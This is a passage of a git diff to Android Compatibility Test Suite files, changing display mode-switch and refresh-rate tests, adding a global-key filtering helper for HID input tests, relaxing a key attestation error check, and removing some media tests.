-        assertEquals(display, windowContext.getDisplay());
+        assertEquals(display.getDisplayId(), windowContext.getDisplay().getDisplayId());
     }
 
     @Test
@@ -123,7 +123,7 @@
         final Display display = getSecondaryDisplay();
         final Context windowContext = mApplicationContext.createWindowContext(display,
                 WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY, null /* options */);
-        assertEquals(display, windowContext.getDisplay());
+        assertEquals(display.getDisplayId(), windowContext.getDisplay().getDisplayId());
     }
 
     @Test
diff --git a/tests/tests/display/src/android/display/cts/DisplayTest.java b/tests/tests/display/src/android/display/cts/DisplayTest.java
index a495285..993ec85 100644
--- a/tests/tests/display/src/android/display/cts/DisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/DisplayTest.java
@@ -21,8 +21,15 @@
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
 
 import android.Manifest;
 import android.app.Activity;
@@ -64,9 +71,12 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.DisplayUtil;
 import com.android.compatibility.common.util.PropertyUtil;
 
+import com.google.common.truth.Truth;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
@@ -83,10 +93,10 @@
 import java.util.Optional;
 import java.util.Random;
 import java.util.Scanner;
-import java.util.concurrent.TimeoutException;
-import java.util.concurrent.atomic.AtomicInteger;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicInteger;
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.Lock;
 import java.util.concurrent.locks.ReentrantLock;
@@ -112,6 +122,7 @@
     private static final String OVERLAY_DISPLAY_NAME_PREFIX = "Overlay #";
 
     private static final int BRIGHTNESS_MAX = 255;
+    private static final float REFRESH_RATE_TOLERANCE = 0.001f;
 
     private DisplayManager mDisplayManager;
     private WindowManager mWindowManager;
@@ -120,6 +131,7 @@
     private ColorSpace[] mSupportedWideGamuts;
     private Display mDefaultDisplay;
     private HdrSettings mOriginalHdrSettings;
+    private int mInitialRefreshRateSwitchingType;
 
     // To test display mode switches.
     private TestPresentation mPresentation;
@@ -193,7 +205,8 @@
             Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS,
             Manifest.permission.ACCESS_SURFACE_FLINGER,
             Manifest.permission.WRITE_SECURE_SETTINGS,
-            Manifest.permission.HDMI_CEC);
+            Manifest.permission.HDMI_CEC,
+            Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE);
 
     @Before
     public void setUp() throws Exception {
@@ -594,12 +607,16 @@
         try {
             mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
             assertTrue(mDisplayManager.shouldAlwaysRespectAppRequestedMode());
+            mInitialRefreshRateSwitchingType =
+                    DisplayUtil.getRefreshRateSwitchingType(mDisplayManager);
+            mDisplayManager.setRefreshRateSwitchingType(DisplayManager.SWITCHING_TYPE_NONE);
             final DisplayTestActivity activity = launchActivity(mRetainedDisplayTestActivity);
             for (Display.Mode mode : modesList) {
                 testSwitchToModeId(activity, mode);
             }
         } finally {
             mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
+            mDisplayManager.setRefreshRateSwitchingType(mInitialRefreshRateSwitchingType);
         }
     }
 
@@ -618,10 +635,13 @@
         try {
             mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
             assertTrue(mDisplayManager.shouldAlwaysRespectAppRequestedMode());
-            final DisplayTestActivity activity = launchActivity(mDisplayTestActivity);
+            mInitialRefreshRateSwitchingType =
+                    DisplayUtil.getRefreshRateSwitchingType(mDisplayManager);
+            mDisplayManager.setRefreshRateSwitchingType(DisplayManager.SWITCHING_TYPE_NONE);
             testSwitchToModeId(launchActivity(mDisplayTestActivity), newMode.get());
         } finally {
             mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
+            mDisplayManager.setRefreshRateSwitchingType(mInitialRefreshRateSwitchingType);
         }
     }
 
@@ -629,16 +649,18 @@
         return new Point(mode.getPhysicalWidth(), mode.getPhysicalHeight());
     }
 
-    private void testSwitchToModeId(DisplayTestActivity activity, Display.Mode mode)
+    private void testSwitchToModeId(DisplayTestActivity activity, Display.Mode targetMode)
             throws Exception {
-        Log.i(TAG, "Switching to mode " + mode);
+        final DisplayModeState initialMode = new DisplayModeState(mDefaultDisplay);
+        Log.i(TAG, "Testing switching to mode " + targetMode + ". Current mode = " + initialMode);
 
         final CountDownLatch changeSignal = new CountDownLatch(1);
         final AtomicInteger changeCounter = new AtomicInteger(0);
-        final DisplayModeState activeMode = new DisplayModeState(mDefaultDisplay);
+        final AtomicInteger changesToReachTargetMode = new AtomicInteger(0);
 
         DisplayListener listener = new DisplayListener() {
-            private DisplayModeState mLastMode = activeMode;
+            private DisplayModeState mLastMode = initialMode;
+            private boolean mIsDesiredModeReached = false;
             @Override
             public void onDisplayAdded(int displayId) {}
 
@@ -656,7 +678,16 @@
 
                 Log.i(TAG, "Switched mode from=" + mLastMode + " to=" + newMode);
                 changeCounter.incrementAndGet();
-                changeSignal.countDown();
+
+                if (targetMode.getPhysicalHeight() == newMode.mHeight
+                        && targetMode.getPhysicalWidth() == newMode.mWidth
+                        && Math.abs(targetMode.getRefreshRate() - newMode.mRefreshRate)
+                            < REFRESH_RATE_TOLERANCE
+                        && !mIsDesiredModeReached) {
+                    mIsDesiredModeReached = true;
+                    changeSignal.countDown();
+                    changesToReachTargetMode.set(changeCounter.get());
+                }
 
                 mLastMode = newMode;
             }
@@ -670,7 +701,7 @@
 
         final CountDownLatch presentationSignal = new CountDownLatch(1);
         handler.post(() -> {
-            activity.setPreferredDisplayMode(mode);
+            activity.setPreferredDisplayMode(targetMode);
             presentationSignal.countDown();
         });
 
@@ -679,13 +710,33 @@
         // Wait until the display change is effective.
         assertTrue(changeSignal.await(5, TimeUnit.SECONDS));
         DisplayModeState currentMode = new DisplayModeState(mDefaultDisplay);
-        assertEquals(mode.getPhysicalHeight(), currentMode.mHeight);
-        assertEquals(mode.getPhysicalWidth(), currentMode.mWidth);
-        assertEquals(mode.getRefreshRate(), currentMode.mRefreshRate, 0.001f);
+        assertEquals(targetMode.getPhysicalHeight(), currentMode.mHeight);
+        assertEquals(targetMode.getPhysicalWidth(), currentMode.mWidth);
+        assertEquals(targetMode.getRefreshRate(), currentMode.mRefreshRate, REFRESH_RATE_TOLERANCE);
+
+
+        boolean isResolutionSwitch = initialMode.mHeight != targetMode.getPhysicalHeight()
+                || initialMode.mWidth != targetMode.getPhysicalHeight();
+        boolean isRefreshRateSwitch =
+                Math.abs(initialMode.mRefreshRate - targetMode.getRefreshRate())
+                        > REFRESH_RATE_TOLERANCE;
+        // When both resolution and refresh rate are changed the transition can happen with two
+        // mode switches:
+        // 1) When the frame rate vote is applied in
+        //        java.com.android.server.wm.WindowState#updateFrameRateSelectionPriorityIfNeeded
+        // 2) When the DisplayManager policy is applied to RefreshRateConfigs in SurfaceFlinger.
+        // TODO(b/199895248) Expect only 1 mode change.
+        Truth.assertThat(changesToReachTargetMode.get())
+                .isAtMost((isResolutionSwitch && isRefreshRateSwitch) ? 2 : 1);
 
         // Make sure no more display mode changes are registered.
         Thread.sleep(Duration.ofSeconds(3).toMillis());
-        assertEquals(1, changeCounter.get());
+
+        // When a resolution switch occurs the DisplayManager policy in RefreshRateConfigs
+        // is cleared  and later reapplied. This may lead to two additional mode switches.
+        // TODO(b/200265160) Expect no changes.
+        Truth.assertThat(changeCounter.get() - changesToReachTargetMode.get())
+                .isAtMost(isResolutionSwitch ? 2 : 0);
 
         // Many TV apps use the vendor.display-size sysprop to detect the display size (although
         // it's not an official API). In Android S the bugs which required this workaround were
@@ -695,8 +746,8 @@
         if (PropertyUtil.getVendorApiLevel() >= Build.VERSION_CODES.S) {
             Point vendorDisplaySize = getVendorDisplaySize();
             if (vendorDisplaySize != null) {
-                assertEquals(mode.getPhysicalWidth(), vendorDisplaySize.x);
-                assertEquals(mode.getPhysicalHeight(), vendorDisplaySize.y);
+                assertEquals(targetMode.getPhysicalWidth(), vendorDisplaySize.x);
+                assertEquals(targetMode.getPhysicalHeight(), vendorDisplaySize.y);
             }
         }
 
@@ -972,6 +1023,7 @@
         assertEquals(supportsWideGamut, supportsP3);
     }
 
+    @CddTest(requirement="7.1.1.1/H-0-2")
     @Test
     public void testRestrictedFramebufferSize() {
         PackageManager packageManager = mContext.getPackageManager();
diff --git a/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java b/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java
index ff0ce79..26425c4 100644
--- a/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java
@@ -53,7 +53,7 @@
                     Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE,
                     Manifest.permission.HDMI_CEC);
 
-    private int mInitialMatchContentFrameRate;
+    private int mInitialRefreshRateSwitchingType;
     private DisplayManager mDisplayManager;
 
     @Before
@@ -68,14 +68,13 @@
         mDisplayManager = activity.getSystemService(DisplayManager.class);
         mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
 
-        mInitialMatchContentFrameRate = toSwitchingType(
-                mDisplayManager.getMatchContentFrameRateUserPreference());
+        mInitialRefreshRateSwitchingType = DisplayUtil.getRefreshRateSwitchingType(mDisplayManager);
     }
 
     @After
     public void tearDown() {
         if (mDisplayManager != null) {
-            mDisplayManager.setRefreshRateSwitchingType(mInitialMatchContentFrameRate);
+            mDisplayManager.setRefreshRateSwitchingType(mInitialRefreshRateSwitchingType);
             mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
         }
     }
@@ -109,18 +108,4 @@
         FrameRateCtsActivity activity = mActivityRule.getActivity();
         activity.testMatchContentFramerate_Always();
     }
-
-    private int toSwitchingType(int matchContentFrameRateUserPreference) {
-        switch (matchContentFrameRateUserPreference) {
-            case DisplayManager.MATCH_CONTENT_FRAMERATE_NEVER:
-                return DisplayManager.SWITCHING_TYPE_NONE;
-            case DisplayManager.MATCH_CONTENT_FRAMERATE_SEAMLESSS_ONLY:
-                return DisplayManager.SWITCHING_TYPE_WITHIN_GROUPS;
-            case DisplayManager.MATCH_CONTENT_FRAMERATE_ALWAYS:
-                return DisplayManager.SWITCHING_TYPE_ACROSS_AND_WITHIN_GROUPS;
-            default:
-                return -1;
-        }
-    }
-
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
index ceed14a..c6e4b96 100644
--- a/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
@@ -20,6 +20,7 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -38,6 +39,7 @@
  */
 @SmallTest
 @RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Instant apps cannot access ro.board.* system properties")
 public class OpenGlEsDeqpLevelTest {
 
     private static final String TAG = OpenGlEsDeqpLevelTest.class.getSimpleName();
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
index eace470..277ca80 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
@@ -21,6 +21,7 @@
 
 import android.content.pm.FeatureInfo;
 import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -40,6 +41,7 @@
  */
 @SmallTest
 @RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Instant apps cannot access ro.board.* system properties")
 public class VulkanDeqpLevelTest {
 
     private static final String TAG = VulkanDeqpLevelTest.class.getSimpleName();
diff --git a/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java b/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java
index dd9576f..0e2711d 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java
@@ -34,6 +34,7 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -117,6 +118,7 @@
         }
     }
 
+    @Ignore("TODO(b/199671094)")
     @Test
     public void fontManager_getFontConfig_checkAlias() {
         FontConfig config = getFontConfig();
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/GlobalKeyMapping.java b/tests/tests/hardware/src/android/hardware/input/cts/GlobalKeyMapping.java
new file mode 100644
index 0000000..297031a
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/GlobalKeyMapping.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts;
+
+import android.content.Context;
+import android.content.res.Resources;
+import android.content.res.XmlResourceParser;
+import android.util.Log;
+import android.view.InputEvent;
+import android.view.KeyEvent;
+
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.IOException;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Loads the global keys from {@code com.android.internal.R.xml.global_keys} the same way like
+ * {@code com.android.server.policy.GlobalKeyManager} does.
+ * TODO(199182608): Make GlobalKeyManager#shouldHandleGlobalKey() a testApi and remove this class
+ */
+public class GlobalKeyMapping {
+    private static final String TAG = GlobalKeyMapping.class.getSimpleName();
+    private static final String TAG_GLOBAL_KEYS = "global_keys";
+    private static final String TAG_KEY = "key";
+    private static final String ATTR_VERSION = "version";
+    private static final String ATTR_KEY_CODE = "keyCode";
+    private static final int GLOBAL_KEY_FILE_VERSION = 1;
+    private static final Set<Integer> GLOBAL_KEYS = new HashSet<>();
+
+
+    public GlobalKeyMapping(Context context) {
+        loadGlobalKeys(context);
+    }
+
+    private void loadGlobalKeys(Context context) {
+        try (XmlResourceParser parser = context.getResources().getXml(
+                Resources.getSystem().getIdentifier("global_keys", "xml", "android"))) {
+            beginDocument(parser, TAG_GLOBAL_KEYS);
+            int version = parser.getAttributeIntValue(null, ATTR_VERSION, 0);
+            if (GLOBAL_KEY_FILE_VERSION == version) {
+                while (true) {
+                    nextElement(parser);
+                    String element = parser.getName();
+                    if (element == null) {
+                        break;
+                    }
+                    if (TAG_KEY.equals(element)) {
+                        String keyCodeName = parser.getAttributeValue(null, ATTR_KEY_CODE);
+                        int keyCode = KeyEvent.keyCodeFromString(keyCodeName);
+                        if (keyCode != KeyEvent.KEYCODE_UNKNOWN) {
+                            GLOBAL_KEYS.add(keyCode);
+                        }
+                    }
+                }
+            }
+        } catch (Resources.NotFoundException e) {
+            Log.w(TAG, "global keys file not found", e);
+        } catch (XmlPullParserException e) {
+            Log.w(TAG, "XML parser exception reading global keys file", e);
+        } catch (IOException e) {
+            Log.w(TAG, "I/O exception reading global keys file", e);
+        }
+    }
+
+    public boolean isGlobalKey(InputEvent e) {
+        if (GLOBAL_KEYS.isEmpty() || !(e instanceof KeyEvent)) {
+            return false;
+        }
+        KeyEvent keyEvent = (KeyEvent) e;
+        return GLOBAL_KEYS.contains(keyEvent.getKeyCode());
+    }
+
+    /** Ported from com.android.internal.util.XmlUtils */
+    private void nextElement(XmlPullParser parser) throws XmlPullParserException, IOException {
+        int type;
+        while ((type = parser.next()) != parser.START_TAG && type != parser.END_DOCUMENT) {
+            // skip
+        }
+    }
+
+    /** Ported from com.android.internal.util.XmlUtils */
+    private void beginDocument(XmlPullParser parser, String firstElementName)
+            throws XmlPullParserException, IOException {
+        int type;
+        while ((type = parser.next()) != parser.START_TAG && type != parser.END_DOCUMENT) {
+            // skip
+        }
+
+        if (type != parser.START_TAG) {
+            throw new XmlPullParserException("No start tag found");
+        }
+
+        if (!parser.getName().equals(firstElementName)) {
+            throw new XmlPullParserException("Unexpected start tag: found " + parser.getName()
+                    + ", expected " + firstElementName);
+        }
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
index d40d545..07a080a 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputHidTestCase.java
@@ -31,6 +31,7 @@
 
 import android.hardware.BatteryState;
 import android.hardware.input.InputManager;
+import android.hardware.input.cts.GlobalKeyMapping;
 import android.hardware.lights.Light;
 import android.hardware.lights.LightState;
 import android.hardware.lights.LightsManager;
@@ -72,6 +73,8 @@
     private static final long CALLBACK_TIMEOUT_MILLIS = 5000;
 
     private HidDevice mHidDevice;
+    private final GlobalKeyMapping mGlobalKeyMapping = new GlobalKeyMapping(
+            mInstrumentation.getTargetContext());
     private int mDeviceId;
     private final int mRegisterResourceId;
     private boolean mDelayAfterSetup = false;
@@ -214,17 +217,19 @@
     @Override
     protected void testInputDeviceEvents(int resourceId) {
         List<HidTestData> tests = mParser.getHidTestData(resourceId);
+        // Global keys are handled by the framework and do not reach apps.
+        // The set of global keys is vendor-specific.
+        // Remove tests which contain global keys because we can't test them
+        tests.removeIf(testData -> testData.events.removeIf(mGlobalKeyMapping::isGlobalKey));
 
         for (HidTestData testData: tests) {
             mCurrentTestCase = testData.name;
-
             // Send all of the HID reports
             for (int i = 0; i < testData.reports.size(); i++) {
                 final String report = testData.reports.get(i);
                 mHidDevice.sendHidReport(report);
             }
             verifyEvents(testData.events);
-
         }
     }
 
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
index df24d52..ce9746b 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
@@ -54,11 +54,11 @@
     private static final float TOLERANCE = 0.005f;
 
     private final BlockingQueue<InputEvent> mEvents;
+    protected final Instrumentation mInstrumentation = InstrumentationRegistry.getInstrumentation();
 
     private InputListener mInputListener;
     private View mDecorView;
 
-    protected Instrumentation mInstrumentation;
     protected InputJsonParser mParser;
     // Stores the name of the currently running test
     protected String mCurrentTestCase;
@@ -81,7 +81,6 @@
 
     @Before
     public void setUp() throws Exception {
-        mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mActivityRule.getActivity().clearUnhandleKeyCode();
         mDecorView = mActivityRule.getActivity().getWindow().getDecorView();
         mParser = new InputJsonParser(mInstrumentation.getTargetContext());
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 51ae065..5a3b712 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -220,7 +220,10 @@
                 fail("Attestation challenges larger than 128 bytes should be rejected");
             } catch (ProviderException e) {
                 KeyStoreException cause = (KeyStoreException) e.getCause();
-                assertEquals(KM_ERROR_INVALID_INPUT_LENGTH, cause.getErrorCode());
+                assertTrue(KM_ERROR_INVALID_INPUT_LENGTH == cause.getErrorCode() ||
+                        (devicePropertiesAttestation
+                                && KM_ERROR_CANNOT_ATTEST_IDS == cause.getErrorCode())
+                );
             }
         }
     }
@@ -495,7 +498,10 @@
                 fail("Attestation challenges larger than 128 bytes should be rejected");
             } catch(ProviderException e){
                 KeyStoreException cause = (KeyStoreException) e.getCause();
-                assertEquals(KM_ERROR_INVALID_INPUT_LENGTH, cause.getErrorCode());
+                assertTrue(KM_ERROR_INVALID_INPUT_LENGTH == cause.getErrorCode() ||
+                        (devicePropertiesAttestation
+                                && KM_ERROR_CANNOT_ATTEST_IDS == cause.getErrorCode())
+                );
             }
         }
     }
diff --git a/tests/tests/media/OWNERS b/tests/tests/media/OWNERS
index 4f5a2ef..6775f87 100644
--- a/tests/tests/media/OWNERS
+++ b/tests/tests/media/OWNERS
@@ -1,9 +1,7 @@
 # Bug component: 1344
 include ../../media/OWNERS
-andrewlewis@google.com
 elaurent@google.com
 etalvala@google.com
-gkasten@google.com
 hdmoon@google.com
 hunga@google.com
 insun@google.com
@@ -13,6 +11,5 @@
 jsharkey@android.com
 sungsoo@google.com
 
-# LON
-olly@google.com
-andrewlewis@google.com
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordSharedAudioTest.java b/tests/tests/media/src/android/media/cts/AudioRecordSharedAudioTest.java
index f5cad49..7667922 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordSharedAudioTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordSharedAudioTest.java
@@ -19,9 +19,9 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 import static org.testng.Assert.assertThrows;
 
-import android.content.Context;
 import android.content.pm.PackageManager;
 import android.media.AudioFormat;
 import android.media.AudioRecord;
@@ -34,13 +34,13 @@
 
 import com.android.compatibility.common.util.SystemUtil;
 
-import java.io.IOException;
-
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.IOException;
+
 
 
 @NonMediaMainlineTest
@@ -52,9 +52,7 @@
 
     @Before
     public void setUp() throws Exception {
-        if (!hasMicrophone()) {
-            return;
-        }
+        assumeTrue(hasMicrophone());
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .adoptShellPermissionIdentity();
         clearAudioserverPermissionCache();
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
index ead7974..f01c444 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackSurroundTest.java
@@ -581,27 +581,6 @@
         }
     }
 
-    public void testIEC61937_Errors() throws Exception {
-        if (mInfoIEC61937 != null) {
-            final String TEST_NAME = "testIEC61937_Errors";
-            try {
-                AudioTrack track = createAudioTrack(48000, AudioFormat.ENCODING_IEC61937,
-                        AudioFormat.CHANNEL_OUT_MONO);
-                assertTrue(TEST_NAME + ": IEC61937 track creation should fail for mono", false);
-            } catch (IllegalArgumentException e) {
-                // This is expected behavior.
-            }
-
-            try {
-                AudioTrack track = createAudioTrack(48000, AudioFormat.ENCODING_IEC61937,
-                        AudioFormat.CHANNEL_OUT_5POINT1);
-                assertTrue(TEST_NAME + ": IEC61937 track creation should fail for 5.1", false);
-            } catch (IllegalArgumentException e) {
-                // This is expected behavior.
-            }
-        }
-    }
-
     public void testPcmSupport() throws Exception {
         if (REQUIRE_PCM_DEVICE) {
             // There should always be a fake PCM device available.
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index 248ba82..c745207 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -3244,9 +3244,9 @@
         };
         final int MAX_CHANNEL_BIT = 1 << (AudioSystem.FCC_24 - 1); // highest allowed channel.
         final int TEST_CONF_ARRAY[] = {
-                (1 << AudioSystem.OUT_CHANNEL_COUNT_MAX) - 1,
                 MAX_CHANNEL_BIT,      // likely silent - no physical device on top channel.
                 MAX_CHANNEL_BIT | 1,  // first channel will likely have physical device.
+                (1 << AudioSystem.OUT_CHANNEL_COUNT_MAX) - 1,
         };
         final int TEST_WRITE_MODE_ARRAY[] = {
                 AudioTrack.WRITE_BLOCKING,
@@ -3258,10 +3258,12 @@
 
         double frequency = 200; // frequency changes for each test
         for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
-            for (int TEST_CONF : TEST_CONF_ARRAY) {
-                for (int TEST_SR : TEST_SR_ARRAY) {
-                    for (int TEST_WRITE_MODE : TEST_WRITE_MODE_ARRAY) {
-                        for (int useDirect = 0; useDirect < 2; ++useDirect) {
+            for (int TEST_SR : TEST_SR_ARRAY) {
+                for (int TEST_WRITE_MODE : TEST_WRITE_MODE_ARRAY) {
+                    for (int useDirect = 0; useDirect < 2; ++useDirect) {
+                        for (int TEST_CONF : TEST_CONF_ARRAY) {
+                            // put TEST_CONF in the inner loop to avoid
+                            // back-to-back creation of large tracks.
                             playOnceStreamByteBuffer(
                                     TEST_NAME, frequency, TEST_SWEEP,
                                     TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index 8e86624..1b81565 100644
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -3733,312 +3733,6 @@
     }
 
     /**
-     * Test tunneled video peek is on by default if supported
-     *
-     * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
-     */
-    private void testTunneledVideoPeekDefault(String mimeType, String videoName) throws Exception {
-        if (!MediaUtils.check(mIsAtLeastS, "testTunneledVideoPeekDefault requires Android 12")) {
-            return;
-        }
-
-        if (!MediaUtils.check(isVideoFeatureSupported(mimeType,
-                                CodecCapabilities.FEATURE_TunneledPlayback),
-                        "No tunneled video playback codec found for MIME " + mimeType)){
-            return;
-        }
-
-        // Setup tunnel mode test media player
-        AudioManager am = mContext.getSystemService(AudioManager.class);
-        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
-                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
-
-        Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
-        mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
-        mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
-        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
-        assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
-        mMediaCodecPlayer.start();
-
-        // Assert that onFirstTunnelFrameReady is called
-        mMediaCodecPlayer.queueOneVideoFrame();
-        final int waitTimeMs = 150;
-        Thread.sleep(waitTimeMs);
-        assertTrue(String.format("onFirstTunnelFrameReady not called within %d milliseconds",
-                        waitTimeMs),
-                mMediaCodecPlayer.isFirstTunnelFrameReady());
-        // Assert that video peek is enabled and working
-        assertTrue(String.format("First frame not rendered within %d milliseconds", waitTimeMs),
-                mMediaCodecPlayer.getCurrentPosition() != 0);
-
-        // mMediaCodecPlayer.reset() handled in TearDown();
-    }
-
-    /**
-     * Test default tunneled video peek with HEVC if supported
-     */
-    public void testTunneledVideoPeekDefaultHevc() throws Exception {
-        testTunneledVideoPeekDefault(MediaFormat.MIMETYPE_VIDEO_HEVC,
-                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
-    }
-
-    /**
-     * Test default tunneled video peek with AVC if supported
-     */
-    public void testTunneledVideoPeekDefaultAvc() throws Exception {
-        testTunneledVideoPeekDefault(MediaFormat.MIMETYPE_VIDEO_AVC,
-                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
-    }
-
-    /**
-     * Test default tunneled video peek with VP9 if supported
-     */
-    public void testTunneledVideoPeekDefaultVp9() throws Exception {
-        testTunneledVideoPeekDefault(MediaFormat.MIMETYPE_VIDEO_VP9,
-                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
-    }
-
-
-    /**
-     * Test tunneled video peek can be turned off then on.
-     *
-     * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
-     */
-    private void testTunneledVideoPeekOff(String mimeType, String videoName) throws Exception {
-        if (!MediaUtils.check(mIsAtLeastS, "testTunneledVideoPeekOff requires Android 12")) {
-            return;
-        }
-
-        if (!MediaUtils.check(isVideoFeatureSupported(mimeType,
-                                CodecCapabilities.FEATURE_TunneledPlayback),
-                        "No tunneled video playback codec found for MIME " + mimeType)){
-            return;
-        }
-
-        // Setup tunnel mode test media player
-        AudioManager am = mContext.getSystemService(AudioManager.class);
-        mMediaCodecPlayer = new MediaCodecTunneledPlayer(
-                mContext, getActivity().getSurfaceHolder(), true, am.generateAudioSessionId());
-
